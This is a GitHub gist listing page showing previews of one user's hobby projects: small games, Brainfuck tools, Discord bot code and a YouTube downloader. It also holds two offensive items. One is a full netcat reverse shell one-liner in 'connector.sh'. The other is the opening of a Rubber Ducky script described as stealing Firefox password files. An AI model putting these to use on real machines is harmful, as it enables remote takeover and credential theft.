Skip to content

Instantly share code, notes, and snippets.

@wilfreddv
wilfreddv / twothousandeightyfour.py
Last active April 26, 2018 16:28
A very simple clone of the game '2048' in Python using PyGame
import pygame
import random
S_WIDTH, S_HEIGHT = 400, 400
DIV = 5
T_WIDTH, T_HEIGHT = (S_WIDTH - DIV * 5) // 4, (S_HEIGHT - DIV * 5) // 4
BLACK= (0,0,0)
COLORS = {
@wilfreddv
wilfreddv / text-to-brainfuck.py
Created May 14, 2018 16:38
Python script to turn text into the brainfuck code to print it
#!/usr/bin/python3
'''
Text-to-Brainfuck Generator
This program reads a textfile from stdin and
writes Brainfuck to stdout
The output only uses one block in a Brainfuck,
which is the currently selected block. It leaves
the block with value 0.
'''
@wilfreddv
wilfreddv / brainfuck.c
Last active November 2, 2021 21:47
BrainF*ck interpreter and transpiler to C
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct Bracemap
{
int left;
int right;
struct Bracemap *next;
@wilfreddv
wilfreddv / snake.c
Created August 9, 2018 15:17
Snake in C using Ncurses
#include <ncurses.h>
#include <time.h>
#include <stdlib.h>
#define MINSCRX 150
#define MINSCRY 50
#define UP 0
#define RIGHT 1
@wilfreddv
wilfreddv / BotWriteup.md
Last active November 19, 2018 20:51
Writeup of a Discord bot that runs Python code

Writing a Discord bot that executes Python code

How did it start

Python has become wildly popular in a number of fields, one of which is (chat)bots. Finally, I couldn't resist the urge to write one myself. I wouldn't be myself if it did not involve some dangerous challenge. That's why I challenged myself to write a Discord bot, that lets users run snippets of python code, on my machine.

Chapter 1: Building the skeleton

This was the easy part. After kickstarting my Discord bot knowledge by watching Sentdex' series on YouTube, I managed to throw together a quick bot. Of course, this was still very bare-bones, with only 2 functions: reporting

@wilfreddv
wilfreddv / steal_windows_firefox_passes.duck
Last active November 27, 2018 15:01
Script for Rubber Ducky that sends Firefox password files to remote computer
REM Script to steal profile data from Firefox
DEFAULT_DELAY 200
DELAY 2000
REM Open CMD
GUI r
STRING cmd
ENTER
@wilfreddv
wilfreddv / connector.sh
Created November 28, 2018 12:18
Python host for reverse shell (Under construction)
#!/bin/sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 8080 >/tmp/f
# From: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
@wilfreddv
wilfreddv / home.py
Created February 4, 2019 11:15
GUI wrapper for pytube to download YouTube video's
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'home.ui'
#
# Created by: PyQt5 UI code generator 5.5.1
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
@wilfreddv
wilfreddv / discord_py_cookbook.md
Last active November 2, 2021 20:32
A cookbook for getting started with discord.py rewrite

This is not being maintained and might be outdated. Use at your own risk.

Cookbook for discord.py rewrite

This document contains snippets that I've used and tested. It's not meant to be an official guide, but rather a document for looking up small snippets of code. For an extensive reference on the API, please visit the official documentation.

Contents

@wilfreddv
wilfreddv / oneliner.py
Created August 7, 2019 12:25
Discord bot the says 'pong' when you say 'ping'
(lambda on_msg=__import__("asyncio").coroutine(lambda msg: msg.channel.send(f"pong") if not msg.author.bot and msg.content == "ping" else None),bot=__import__("discord.ext.commands").ext.commands.Bot(command_prefix=""):exec("on_msg.__name__='on_message'") or (bot.event(on_msg) and bot.run( TOKEN )))()